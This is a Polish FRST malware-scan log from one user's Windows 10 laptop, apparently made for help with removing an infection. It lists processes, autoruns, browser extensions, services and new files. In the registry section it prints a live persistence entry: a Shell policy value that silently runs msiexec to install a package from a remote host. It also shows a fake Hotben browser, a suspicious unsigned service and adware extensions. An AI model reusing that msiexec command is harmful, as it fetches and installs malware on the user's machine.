Rezultaty skanowania Farbar Recovery Scan Tool (FRST) (x64) Wersja: 23-04-2017 01
Uruchomiony przez Janusz (administrator)  X (24-04-2017 23:40:30)
Uruchomiony z C:\Users\Janusz\Downloads
Załadowane profile: Janusz (Dostępne profile: Janusz)
Platform: Windows 10 Home Wersja 1607 (X64) Język: Polski (Polska)
Internet Explorer Wersja 11 (Domyślna przeglądarka: "C:\Program Files (x86)\Hotben\Application\chrome.exe" "%1")
Tryb startu: Normal
Instrukcja obsługi Farbar Recovery Scan Tool: http://www.geekstogo.com/forum/topic/335081-frst-tutorial-how-to-use-farbar-recovery-scan-tool/

==================== Procesy (filtrowane) =================

(Załączenie wejścia w fixlist spowoduje zamknięcie procesu. Powiązany plik nie zostanie przeniesiony.)

(AMD) C:\Windows\System32\atiesrxx.exe
(Intel Corporation) C:\Windows\System32\igfxCUIService.exe
(Acer Incorporate) C:\Program Files\Acer\Acer Launch Manager\LMSvc.exe
(McAfee, Inc.) C:\Windows\System32\mfevtps.exe
(COMODO) C:\Program Files\COMODO\COMODO Internet Security\cmdagent.exe
(Filseclab Corporation Limited) C:\Program Files (x86)\ScreenShot\SSSvc.exe
(Intel(R) Corporation) C:\Program Files\Intel\iCLS Client\HeciServer.exe
(Garmin Ltd. or its subsidiaries) C:\Program Files (x86)\Garmin\Device Interaction Service\GarminService.exe
(Microsoft Corporation) C:\Windows\SysWOW64\svchost.exe
(Synaptics Incorporated) C:\Program Files\Synaptics\SynTP\SynTPEnhService.exe
(McAfee, Inc.) C:\Program Files\Common Files\mcafee\systemcore\mfefire.exe
(Microsoft Corporation) C:\Windows\Microsoft.NET\Framework64\v3.0\WPF\PresentationFontCache.exe
() C:\Program Files\ATI Technologies\ATI.ACE\a4\AdaptiveSleepService.exe
() C:\Program Files (x86)\Firefox\bin\FirefoxUpdate.exe
(Intel Corporation) C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\DAL\jhi_service.exe
(Intel Corporation) C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\LMS\LMS.exe
(Nero AG) C:\Program Files (x86)\Nero\Update\NASvc.exe
(Microsoft Corporation) C:\Windows\SysWOW64\svchost.exe
(Acer Incorporated) C:\Program Files\Acer\Acer Power Management\ePowerSvc.exe
(AMD) C:\Windows\System32\atieclxx.exe
(Synaptics Incorporated) C:\Program Files\Synaptics\SynTP\SynTPEnh.exe
(COMODO) C:\Program Files\COMODO\COMODO Internet Security\cistray.exe
(Synaptics Incorporated) C:\Program Files\Synaptics\SynTP\SynTPHelper.exe
(Acer Incorporate) C:\Program Files\Acer\Acer Launch Manager\LMEvent.exe
(Acer Incorporate) C:\Program Files\Acer\Acer Launch Manager\LMTray.exe
() C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.190.0_x64__kzf8qxf38zg5c\SkypeHost.exe
(Microsoft Corporation) C:\Windows\System32\SettingSyncHost.exe
(Realtek Semiconductor) C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe
(Garmin Ltd. or its subsidiaries) C:\Program Files (x86)\Garmin\Express Tray\ExpressTray.exe
(Skype Technologies S.A.) C:\Program Files (x86)\Skype\Phone\Skype.exe
(Acer Incorporated) C:\Program Files\Acer\Acer Power Management\ePowerTray.exe
(COMODO) C:\Program Files\COMODO\COMODO Internet Security\cis.exe
(Piriform Ltd) C:\Program Files\CCleaner\CCleaner64.exe
(Intel Corporation) C:\Windows\System32\igfxext.exe
(Acer Incorporated) C:\Program Files\Acer\Acer Power Management\ePowerEvent.exe
(COMODO) C:\Program Files\COMODO\COMODO Internet Security\cavwp.exe
(COMODO) C:\Program Files\COMODO\COMODO Internet Security\cavwp.exe
(Skype Technologies) C:\Program Files (x86)\Skype\Browser\SkypeBrowserHost.exe
(Skype Technologies) C:\Program Files (x86)\Skype\Browser\SkypeBrowserHost.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe
(COMODO) C:\Program Files\COMODO\COMODO Internet Security\cmdvirth.exe
(Microsoft® Windows® Operating System) C:\Windows\System32\Taskmgr.exe
(Microsoft Corporation) C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
(Microsoft Corporation) C:\Windows\System32\browser_broker.exe
(Microsoft Corporation) C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
(Microsoft Corporation) C:\Windows\System32\InstallAgent.exe
(Microsoft Corporation) C:\Windows\System32\smartscreen.exe
(Microsoft Corporation) C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
(Microsoft Corporation) C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
(Adobe Systems Incorporated) C:\Windows\System32\Macromed\Flash\FlashUtil_ActiveX.exe
(Microsoft Corporation) C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
(Microsoft Corporation) C:\Windows\SysWOW64\rundll32.exe
(Microsoft Corporation) C:\Windows\System32\cmd.exe
(Microsoft Corporation) C:\Windows\System32\rundll32.exe
(Microsoft Corporation) C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
(Microsoft Corporation) C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe

==================== Rejestr (filtrowane) ====================

(Załączenie wejścia w fixlist spowoduje usunięcie obiektu z rejestru lub przywrócenie jego domyślnej postaci. Powiązany plik nie zostanie przeniesiony.)

HKLM\...\Run: [RTHDVCPL] => C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe [13647576 2013-08-27] (Realtek Semiconductor)
HKLM\...\Run: [IgfxTray] => C:\Windows\system32\igfxtray.exe [415128 2016-09-01] ()
HKLM\...\Run: [HotKeysCmds] => "C:\Windows\system32\hkcmd.exe"
HKLM\...\Run: [Persistence] => "C:\Windows\system32\igfxpers.exe"
HKLM\...\Run: [StartCN] => C:\Program Files\AMD\CNext\CNext\cnext.exe [4866760 2015-11-29] (Advanced Micro Devices, Inc.)
HKLM\...\Run: [SynTPEnh] => C:\Program Files\Synaptics\SynTP\SynTPEnh.exe [3944136 2016-09-01] (Synaptics Incorporated)
HKLM\...\Policies\Explorer\Run: [BtvStack] => C:\Program Files (x86)\Qualcomm Atheros\Bluetooth Suite\BtvStack.exe
HKU\S-1-5-21-2487835237-2257990825-3517168332-1001\...\Run: [CCleaner Monitoring] => C:\Program Files\CCleaner\CCleaner64.exe [9288408 2016-12-15] (Piriform Ltd)
HKU\S-1-5-21-2487835237-2257990825-3517168332-1001\...\Run: [BingSvc] => C:\Users\Janusz\AppData\Local\Microsoft\BingSvc\BingSvc.exe [144008 2015-12-09] (© 2015 Microsoft Corporation)
HKU\S-1-5-21-2487835237-2257990825-3517168332-1001\...\Run: [GarminExpressTrayApp] => C:\Program Files (x86)\Garmin\Express Tray\ExpressTray.exe [1421736 2017-04-01] (Garmin Ltd. or its subsidiaries)
HKU\S-1-5-21-2487835237-2257990825-3517168332-1001\...\Run: [Skype] => C:\Program Files (x86)\Skype\Phone\Skype.exe [27774936 2017-04-02] (Skype Technologies S.A.)
HKU\S-1-5-21-2487835237-2257990825-3517168332-1001\...\Policies\system: [Shell] explorer.exe,msiexec.exe /i http://point.orangeiloveyou.com/?data=zDlkMj1QMkZWNTYcRTI1FjE8N8E4MdQYM8UcMYU1MThQM8MdNq== /q
HKU\S-1-5-21-2487835237-2257990825-3517168332-1001\...\MountPoints2: {53c63cbe-8643-11e6-828b-201a0673e0f6} - "E:\AutoRun.exe" 
HKU\S-1-5-21-2487835237-2257990825-3517168332-1001\...\MountPoints2: {53c63d4e-8643-11e6-828b-201a0673e0f6} - "E:\AutoRun.exe" 
HKU\S-1-5-21-2487835237-2257990825-3517168332-1001\...\MountPoints2: {53c643f6-8643-11e6-828b-201a0673e0f6} - "E:\AutoRun.exe" 
HKU\S-1-5-18\...\Run: [GarminExpressTrayApp] => C:\Program Files (x86)\Garmin\Express Tray\ExpressTray.exe [1421736 2017-04-01] (Garmin Ltd. or its subsidiaries)
IFEO\taskmgr.exe: [Debugger] 

==================== Internet (filtrowane) ====================

(Załączenie wejścia w fixlist, w przypadku gdy jest to obiekt rejestru, spowoduje usunięcie go z rejestru lub przywrócenie jego domyślnej postaci.)

Tcpip\Parameters: [DhcpNameServer] 192.168.0.1
Tcpip\..\Interfaces\{4c67a6cb-ffaf-4592-b76e-c0af6c78e37c}: [DhcpNameServer] 192.168.0.1
Tcpip\..\Interfaces\{9403d2b5-4fa9-4bbe-9a06-a0b77f8dc7c8}: [DhcpNameServer] 62.179.1.63 62.179.1.62

Internet Explorer:
==================
HKU\S-1-5-21-2487835237-2257990825-3517168332-1001\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://acer13.msn.com/?pc=ACJB
HKU\S-1-5-21-2487835237-2257990825-3517168332-1001\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://acer13.msn.com/?pc=ACJB
SearchScopes: HKU\S-1-5-21-2487835237-2257990825-3517168332-1001 -> DefaultScope {32B7ACE0-EDCA-4E79-B5E3-263115A9A6F8} URL = 
SearchScopes: HKU\S-1-5-21-2487835237-2257990825-3517168332-1001 -> {32B7ACE0-EDCA-4E79-B5E3-263115A9A6F8} URL = 
BHO: Google Toolbar Helper -> {AA58ED58-01DD-4d91-8333-CF10577473F7} -> C:\Program Files (x86)\Google\Google Toolbar\GoogleToolbar_64.dll [2016-04-27] (Google Inc.)
BHO-x32: Google Toolbar Helper -> {AA58ED58-01DD-4d91-8333-CF10577473F7} -> C:\Program Files (x86)\Google\Google Toolbar\GoogleToolbar_32.dll [2016-04-27] (Google Inc.)
Toolbar: HKLM - Google Toolbar - {2318C2B1-4965-11d4-9B18-009027A5CD4F} - C:\Program Files (x86)\Google\Google Toolbar\GoogleToolbar_64.dll [2016-04-27] (Google Inc.)
Toolbar: HKLM-x32 - Google Toolbar - {2318C2B1-4965-11d4-9B18-009027A5CD4F} - C:\Program Files (x86)\Google\Google Toolbar\GoogleToolbar_32.dll [2016-04-27] (Google Inc.)

FireFox:
========
FF DefaultProfile: yby3el3x.default
FF ProfilePath: C:\Users\Janusz\AppData\Roaming\Firefox\Firefox\Profiles\yby3el3x.default [2017-04-24]
FF Extension: (SimilarWeb) - C:\Users\Janusz\AppData\Roaming\Firefox\Firefox\Profiles\yby3el3x.default\Extensions\@DA3566E2-F709-11E5-8E87-A604BC8E7F8B.xpi [2017-04-18] [Brak podpisu cyfrowego]
FF Extension: (HSearch) - C:\Users\Janusz\AppData\Roaming\Firefox\Firefox\Profiles\yby3el3x.default\Extensions\@E97YHOMI-FU8L-IM23-VUT9-RVDZT7M8XL8H.xpi [2017-04-18] [Brak podpisu cyfrowego]
FF Extension: (FF Adr) - C:\Users\Janusz\AppData\Roaming\Firefox\Firefox\Profiles\yby3el3x.default\Extensions\@H99KV4DO-UCCF-9PFO-9ZLK-8RRP4FVOKD9O.xpi [2017-04-18] [Brak podpisu cyfrowego]
FF Extension: (Polski Language Pack) - C:\Users\Janusz\AppData\Roaming\Firefox\Firefox\Profiles\yby3el3x.default\Extensions\langpack-pl@firefox.mozilla.org.xpi [2017-04-18] [Brak podpisu cyfrowego]
FF SearchPlugin: C:\Users\Janusz\AppData\Roaming\Firefox\Firefox\Profiles\yby3el3x.default\searchplugins\startsearch.xml [2017-04-18]
FF HKLM-x32\...\Firefox\Extensions: [ff-bmboc@bytemobile.com] - C:\Program Files\T-Mobile\InternetManager_H\OCx64\addon => nie znaleziono
FF Plugin-x32: @intel-webapi.intel.com/Intel WebAPI ipt;version=4.0.5 -> C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\IPT\npIntelWebAPIIPT.dll [2013-09-04] (Intel Corporation)
FF Plugin-x32: @intel-webapi.intel.com/Intel WebAPI updater -> C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\IPT\npIntelWebAPIUpdater.dll [2013-09-04] (Intel Corporation)
FF Plugin-x32: @tools.google.com/Google Update;version=3 -> C:\Program Files (x86)\Google\Update\1.3.33.3\npGoogleUpdate3.dll [2017-04-07] (Google Inc.)
FF Plugin-x32: @tools.google.com/Google Update;version=9 -> C:\Program Files (x86)\Google\Update\1.3.33.3\npGoogleUpdate3.dll [2017-04-07] (Google Inc.)

Chrome: 
=======
CHR DefaultProfile: Default
CHR StartupUrls: Default -> "hxxp://www.wp.pl/"
CHR Profile: C:\Users\Janusz\AppData\Local\Google\Chrome\User Data\Default [2017-04-21]
CHR Extension: (Prezentacje Google) - C:\Users\Janusz\AppData\Local\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek [2015-06-09]
CHR Extension: (Dokumenty Google) - C:\Users\Janusz\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake [2015-06-09]
CHR Extension: (Dysk Google) - C:\Users\Janusz\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf [2015-10-21]
CHR Extension: (YouTube) - C:\Users\Janusz\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo [2015-09-25]
CHR Extension: (Adblock Plus) - C:\Users\Janusz\AppData\Local\Google\Chrome\User Data\Default\Extensions\cfhdojbkjhnklbpkdaibdccddilifddb [2017-03-21]
CHR Extension: (Google Search) - C:\Users\Janusz\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf [2015-10-26]
CHR Extension: (Arkusze Google) - C:\Users\Janusz\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap [2015-06-09]
CHR Extension: (Dokumenty Google offline) - C:\Users\Janusz\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi [2016-03-15]
CHR Extension: (AdBlock) - C:\Users\Janusz\AppData\Local\Google\Chrome\User Data\Default\Extensions\gighmmpiobklfepjocnamgkkbiglidom [2017-04-13]
CHR Extension: (Twojanuta.pl) - C:\Users\Janusz\AppData\Local\Google\Chrome\User Data\Default\Extensions\golpmdddnmkckjiopggcbempclljlbjk [2015-06-09]
CHR Extension: (Płatności w sklepie Chrome Web Store) - C:\Users\Janusz\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda [2017-03-09]
CHR Extension: (Gmail) - C:\Users\Janusz\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia [2015-06-09]
CHR Extension: (Chrome Media Router) - C:\Users\Janusz\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm [2017-04-04]
CHR Extension: (Hurricanes and Typhoons Named) - C:\Users\Janusz\AppData\Local\Google\Chrome\User Data\Default\Extensions\pongpngibmninfjcifkojmiclpbbclma [2017-03-26]
CHR Profile: C:\Users\Janusz\AppData\Local\Google\Chrome\User Data\System Profile [2017-04-21]
HKU\S-1-5-21-2487835237-2257990825-3517168332-1001\...\StartMenuInternet\ChromeHTML: -> C:\Program Files (x86)\Hotben\Application\chrome.exe (Google Inc.) <==== UWAGA

==================== Usługi (filtrowane) ====================

(Załączenie wejścia w fixlist spowoduje jego usunięcie z rejestru. Powiązany plik nie zostanie przeniesiony, o ile nie zostanie załączony z osobna.)

R2 AdaptiveSleepService; C:\Program Files\ATI Technologies\ATI.ACE\A4\AdaptiveSleepService.exe [138752 2015-11-29] () [Brak podpisu cyfrowego]
R2 CmdAgent; C:\Program Files\COMODO\COMODO Internet Security\cmdagent.exe [10508904 2017-04-07] (COMODO)
R3 cmdvirth; C:\Program Files\COMODO\COMODO Internet Security\cmdvirth.exe [2876096 2017-04-07] (COMODO)
R3 ePowerSvc; C:\Program Files\Acer\Acer Power Management\ePowerSvc.exe [663592 2013-07-06] (Acer Incorporated)
R2 FirefoxU; C:\Program Files (x86)\Firefox\bin\FirefoxUpdate.exe [117424 2017-04-18] () <==== UWAGA
R2 Garmin Device Interaction Service; C:\Program Files (x86)\Garmin\Device Interaction Service\GarminService.exe [1099280 2017-04-01] (Garmin Ltd. or its subsidiaries)
R2 igfxCUIService2.0.0.0; C:\WINDOWS\system32\igfxCUIService.exe [370064 2016-09-01] (Intel Corporation)
R2 Intel(R) Capability Licensing Service Interface; C:\Program Files\Intel\iCLS Client\HeciServer.exe [733696 2013-05-12] (Intel(R) Corporation) [Brak podpisu cyfrowego]
S3 Intel(R) Capability Licensing Service TCP IP Interface; C:\Program Files\Intel\iCLS Client\SocketHeciServer.exe [822232 2013-05-12] (Intel(R) Corporation)
R2 jhi_service; C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\DAL\jhi_service.exe [169432 2013-09-04] (Intel Corporation)
U2 Kitty; C:\Users\Janusz\AppData\Local\Kitty\Kitty.dll [754688 2017-04-17] (kitty.exe) [Brak podpisu cyfrowego] <==== UWAGA
R2 LMSvc; C:\Program Files\Acer\Acer Launch Manager\LMSvc.exe [457768 2013-08-03] (Acer Incorporate)
R2 mfefire; C:\Program Files\Common Files\McAfee\SystemCore\\mfefire.exe [219272 2013-08-07] (McAfee, Inc.)
R2 mfevtp; C:\Windows\system32\mfevtps.exe [182752 2013-08-07] (McAfee, Inc.)
R2 SSSvc; C:\Program Files (x86)\ScreenShot\SSSvc.exe [139744 2017-04-06] (Filseclab Corporation Limited)
R2 SynTPEnhService; C:\Program Files\Synaptics\SynTP\SynTPEnhService.exe [249032 2016-09-01] (Synaptics Incorporated)
S3 WdNisSvc; C:\Program Files\Windows Defender\NisSrv.exe [347328 2016-07-16] (Microsoft Corporation)
S3 WinDefend; C:\Program Files\Windows Defender\MsMpEng.exe [103720 2016-07-16] (Microsoft Corporation)
R2 WindowsAppVerifierSvr; C:\ProgramData\Windows\App\Kit\ApplicationVerifier.dll [107008 2017-04-18] () [Brak podpisu cyfrowego]
S2 HWDeviceService64.exe; "C:\ProgramData\DatacardService\HWDeviceService64.exe" -/service [X]

===================== Sterowniki (filtrowane) ======================

(Załączenie wejścia w fixlist spowoduje jego usunięcie z rejestru. Powiązany plik nie zostanie przeniesiony, o ile nie zostanie załączony z osobna.)

R0 amdkmpfd; C:\WINDOWS\System32\drivers\amdkmpfd.sys [36096 2013-05-21] (Advanced Micro Devices, Inc.)
S3 cfwids; C:\WINDOWS\System32\drivers\cfwids.sys [70112 2013-08-07] (McAfee, Inc.)
R1 cmderd; C:\WINDOWS\System32\DRIVERS\cmderd.sys [40960 2017-03-31] (COMODO)
R1 cmdGuard; C:\WINDOWS\System32\DRIVERS\cmdguard.sys [831504 2017-03-31] (COMODO)
R1 cmdhlp; C:\WINDOWS\system32\DRIVERS\cmdhlp.sys [50808 2017-03-31] (COMODO)
R1 inspect; C:\WINDOWS\system32\DRIVERS\inspect.sys [129200 2017-03-31] (COMODO)
R3 LMDriver; C:\WINDOWS\System32\drivers\LMDriver.sys [21360 2013-07-17] (Acer Incorporated)
R3 MEIx64; C:\WINDOWS\system32\DRIVERS\TeeDriverx64.sys [99288 2013-12-19] (Intel Corporation)
S3 mfeapfk; C:\WINDOWS\System32\drivers\mfeapfk.sys [179664 2013-08-07] (McAfee, Inc.)
R3 mfeavfk; C:\WINDOWS\System32\drivers\mfeavfk.sys [310224 2013-08-07] (McAfee, Inc.)
S0 mfeelamk; C:\WINDOWS\System32\drivers\mfeelamk.sys [69264 2013-08-07] (McAfee, Inc.)
R3 mfefirek; C:\WINDOWS\System32\drivers\mfefirek.sys [519064 2013-08-07] (McAfee, Inc.)
R0 mfehidk; C:\WINDOWS\System32\drivers\mfehidk.sys [776168 2013-08-07] (McAfee, Inc.)
R0 mfewfpk; C:\WINDOWS\System32\drivers\mfewfpk.sys [343568 2013-08-07] (McAfee, Inc.)
S3 NetAdapterCx; C:\WINDOWS\System32\drivers\NetAdapterCx.sys [90624 2016-07-16] ()
R3 RadioShim; C:\WINDOWS\System32\drivers\RadioShim.sys [14680 2013-07-17] (Acer Incorporated)
R3 SmbDrvI; C:\WINDOWS\system32\DRIVERS\Smb_driver_Intel.sys [42696 2015-06-04] (Synaptics Incorporated)
S3 WdBoot; C:\WINDOWS\system32\drivers\WdBoot.sys [44056 2016-07-16] (Microsoft Corporation)
S3 WdFilter; C:\WINDOWS\system32\drivers\WdFilter.sys [290144 2016-07-16] (Microsoft Corporation)
S3 WdNisDrv; C:\WINDOWS\System32\Drivers\WdNisDrv.sys [123232 2016-07-16] (Microsoft Corporation)
U3 ugldipob; C:\Users\Janusz\AppData\Local\Temp\ugldipob.sys [56584 2017-04-24] (GMER) [Brak podpisu cyfrowego] <==== UWAGA
S3 ew_hwusbdev; \SystemRoot\system32\DRIVERS\ew_hwusbdev.sys [X]
S3 ew_usbenumfilter; \SystemRoot\System32\drivers\ew_usbenumfilter.sys [X]
S3 huawei_cdcacm; \SystemRoot\system32\DRIVERS\ew_jucdcacm.sys [X]
S3 huawei_ext_ctrl; \SystemRoot\System32\drivers\ew_juextctrl.sys [X]
S3 huawei_wwanecm; \SystemRoot\System32\drivers\ew_juwwanecm.sys [X]

==================== NetSvcs (filtrowane) ===================

(Załączenie wejścia w fixlist spowoduje jego usunięcie z rejestru. Powiązany plik nie zostanie przeniesiony, o ile nie zostanie załączony z osobna.)


==================== Jeden miesiąc - utworzone pliki i foldery ========

(Załączenie wejścia w fixlist spowoduje przeniesienie pliku/folderu.)

2017-04-24 23:40 - 2017-04-24 23:41 - 00019049 _____ C:\Users\Janusz\Downloads\FRST.txt
2017-04-24 23:40 - 2017-04-24 23:40 - 00000000 ____D C:\FRST
2017-04-24 23:39 - 2017-04-24 23:39 - 00380928 _____ C:\Users\Janusz\Downloads\22xlyz9z.exe
2017-04-24 23:30 - 2017-04-24 23:30 - 00000000 ____D C:\Users\Janusz\Desktop\FRST
2017-04-24 22:55 - 2017-04-24 22:55 - 00380928 _____ C:\Users\Janusz\Downloads\4sgecfcr.exe
2017-04-24 22:51 - 2017-04-24 22:51 - 02426368 _____ (Farbar) C:\Users\Janusz\Downloads\FRST64.exe
2017-04-24 22:41 - 2017-04-24 22:41 - 00000000 ___HD C:\OneDriveTemp
2017-04-23 22:41 - 2017-04-23 22:41 - 362659995 _____ C:\WINDOWS\MEMORY.DMP
2017-04-23 22:41 - 2017-04-23 22:41 - 00411788 _____ C:\WINDOWS\Minidump\042317-25578-01.dmp
2017-04-20 15:54 - 2017-04-20 15:54 - 00000000 _____ C:\WINDOWS\SysWOW64\33
2017-04-20 15:54 - 2017-04-20 15:54 - 00000000 _____ C:\WINDOWS\SysWOW64\11
2017-04-19 12:39 - 2017-04-24 23:40 - 00001301 _____ C:\Users\Public\Desktop\COMODO Internet Security.lnk
2017-04-18 15:56 - 2017-04-24 22:42 - 00000000 ____D C:\Users\Janusz\AppData\LocalLow\Mozilla
2017-04-18 15:56 - 2017-04-18 15:56 - 00002037 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk
2017-04-18 15:56 - 2017-04-18 15:56 - 00001967 _____ C:\Users\Public\Desktop\Mozilla Firefox.lnk
2017-04-18 15:56 - 2017-04-18 15:56 - 00000000 ____D C:\Users\Janusz\AppData\Roaming\Mozilla
2017-04-18 15:56 - 2017-04-18 15:56 - 00000000 ____D C:\Users\Janusz\AppData\Roaming\Firefox
2017-04-18 15:56 - 2017-04-18 15:56 - 00000000 ____D C:\Users\Janusz\AppData\Local\Hotben
2017-04-18 15:56 - 2017-04-18 15:56 - 00000000 ____D C:\Users\Janusz\AppData\Local\Firefox
2017-04-18 15:56 - 2017-04-18 15:56 - 00000000 ____D C:\Program Files (x86)\Firefox
2017-04-18 15:55 - 2017-04-18 15:55 - 00000000 ____D C:\ProgramData\Windows
2017-04-18 15:55 - 2017-04-18 15:55 - 00000000 ____D C:\Program Files (x86)\Hotben
2017-04-18 15:53 - 2017-04-24 22:48 - 00000000 _____ C:\Users\Public\Documents\report.dat
2017-04-18 15:53 - 2017-04-23 22:43 - 00000000 _____ C:\Users\Public\Documents\temp.dat
2017-04-18 15:53 - 2017-04-18 15:53 - 00000000 ____D C:\Users\Janusz\AppData\Local\Kitty
2017-04-13 14:48 - 2017-04-13 14:48 - 00000000 ____D C:\Users\Janusz\AppData\Roaming\SSMgre
2017-04-10 11:30 - 2017-04-11 14:05 - 00003652 _____ C:\WINDOWS\System32\Tasks\PowerWord-SCT-JT
2017-04-07 09:47 - 2017-04-07 09:47 - 00000000 ____D C:\ProgramData\Comodo Downloader
2017-04-07 09:46 - 2017-04-05 07:58 - 00230592 _____ (COMODO) C:\WINDOWS\system32\cmdshim64.dll
2017-04-07 09:46 - 2017-04-05 07:56 - 00194752 _____ (COMODO) C:\WINDOWS\SysWOW64\cmdshim32.dll
2017-04-06 12:43 - 2017-04-13 14:48 - 00000000 ____D C:\Users\Janusz\AppData\Roaming\ScreenShot
2017-04-06 12:43 - 2017-04-06 12:43 - 44482560 _____ C:\Users\Janusz\Downloads\SkypeSetup_7.34.0.103.msi
2017-04-06 12:43 - 2017-04-06 12:43 - 00001892 _____ C:\ProgramData\Microsoft\Windows\Start Menu\ScreenShot.lnk
2017-04-06 12:43 - 2017-04-06 12:43 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\ScreenShot
2017-04-06 12:43 - 2017-04-06 12:43 - 00000000 ____D C:\Program Files (x86)\ScreenShot
2017-04-06 12:42 - 2017-04-06 12:42 - 01255768 _____ ( ) C:\Users\Janusz\Downloads\Skype-13018-AsystentPobierania.exe
2017-04-02 12:50 - 2017-04-10 16:15 - 00889852 _____ C:\WINDOWS\ProcessedPackets.KTL
2017-04-02 12:50 - 2017-04-10 16:15 - 00576089 _____ C:\WINDOWS\Packet.KTL
2017-04-02 12:50 - 2017-04-10 16:15 - 00274963 _____ C:\WINDOWS\SentOSPackets.KTL
2017-04-02 12:50 - 2017-04-10 16:15 - 00000307 _____ C:\WINDOWS\NGIControl.KTL
2017-04-01 09:13 - 2017-04-01 09:13 - 00001927 _____ C:\Users\Public\Desktop\Garmin Express.lnk
2017-04-01 09:13 - 2017-04-01 09:13 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Garmin
2017-03-28 22:42 - 2017-03-28 22:42 - 00017165 _____ C:\Users\Janusz\Desktop\bookmarks_28.03.2017.html
2017-03-28 22:34 - 2017-03-28 22:34 - 00002793 _____ C:\Users\Janusz\Desktop\raport.txt
2017-03-28 22:22 - 2017-03-28 22:22 - 04089296 _____ C:\Users\Janusz\Downloads\adwcleaner_6.045.exe
2017-03-28 22:20 - 2017-03-28 22:30 - 00000000 ____D C:\AdwCleaner
2017-03-28 21:19 - 2017-03-28 21:19 - 00000000 ____D C:\Program Files\Malwarebytes
2017-03-28 21:18 - 2017-03-28 21:19 - 55566792 _____ (Malwarebytes ) C:\Users\Janusz\Downloads\mb3-setup-consumer-3.0.6.1469.exe
2017-03-26 13:59 - 2017-03-26 14:52 - 06995311 _____ C:\Users\Janusz\Downloads\f87c8a5h.swf

==================== Jeden miesiąc - zmodyfikowane pliki i foldery ========

(Załączenie wejścia w fixlist spowoduje przeniesienie pliku/folderu.)

2021-10-21 15:36 - 2013-10-29 16:21 - 00000852 _____ C:\WINDOWS\system32\Drivers\RTKHDRC.dat
2021-10-04 09:34 - 2013-10-29 16:21 - 00000712 _____ C:\WINDOWS\system32\Drivers\RTMICEQ0.dat
2017-04-24 23:37 - 2015-08-07 20:51 - 00318914 _____ C:\WINDOWS\system32\Drivers\fvstore.dat
2017-04-24 23:35 - 2015-06-09 13:28 - 01474832 _____ C:\WINDOWS\system32\Drivers\sfi.dat
2017-04-24 23:31 - 2015-06-09 15:53 - 00000000 ____D C:\Users\Janusz\AppData\Roaming\Skype
2017-04-24 23:10 - 2016-09-01 17:35 - 00000000 ____D C:\Users\Janusz\AppData\Local\MicrosoftEdge
2017-04-24 22:45 - 2016-09-01 16:06 - 00000000 ____D C:\Users\Janusz
2017-04-24 22:41 - 2015-06-09 16:20 - 00000000 __RDO C:\Users\Janusz\SkyDrive
2017-04-24 22:40 - 2016-09-01 16:02 - 00000180 _____ C:\WINDOWS\system32\{A6D608F0-0BDE-491A-97AE-5C4B05D86E01}.bat
2017-04-24 22:21 - 2016-09-01 15:57 - 00000000 ____D C:\WINDOWS\system32\SleepStudy
2017-04-23 22:45 - 2016-09-01 16:22 - 02675302 _____ C:\WINDOWS\system32\PerfStringBackup.INI
2017-04-23 22:45 - 2016-07-17 00:05 - 01494592 _____ C:\WINDOWS\system32\perfh015.dat
2017-04-23 22:45 - 2016-07-17 00:05 - 00425272 _____ C:\WINDOWS\system32\perfc015.dat
2017-04-23 22:41 - 2016-12-08 22:41 - 00000000 ____D C:\WINDOWS\Minidump
2017-04-23 22:41 - 2016-09-01 16:24 - 00000006 ____H C:\WINDOWS\Tasks\SA.DAT
2017-04-18 15:56 - 2015-09-06 12:21 - 00002207 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk
2017-04-18 15:56 - 2015-09-06 12:21 - 00002137 _____ C:\Users\Public\Desktop\Google Chrome.lnk
2017-04-15 18:27 - 2016-07-16 13:45 - 00000000 ____D C:\WINDOWS\INF
2017-04-14 19:02 - 2016-12-15 17:32 - 00003264 _____ C:\WINDOWS\System32\Tasks\OneDrive Standalone Update Task v2
2017-04-14 19:02 - 2016-09-01 16:37 - 00002449 _____ C:\Users\Janusz\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\OneDrive.lnk
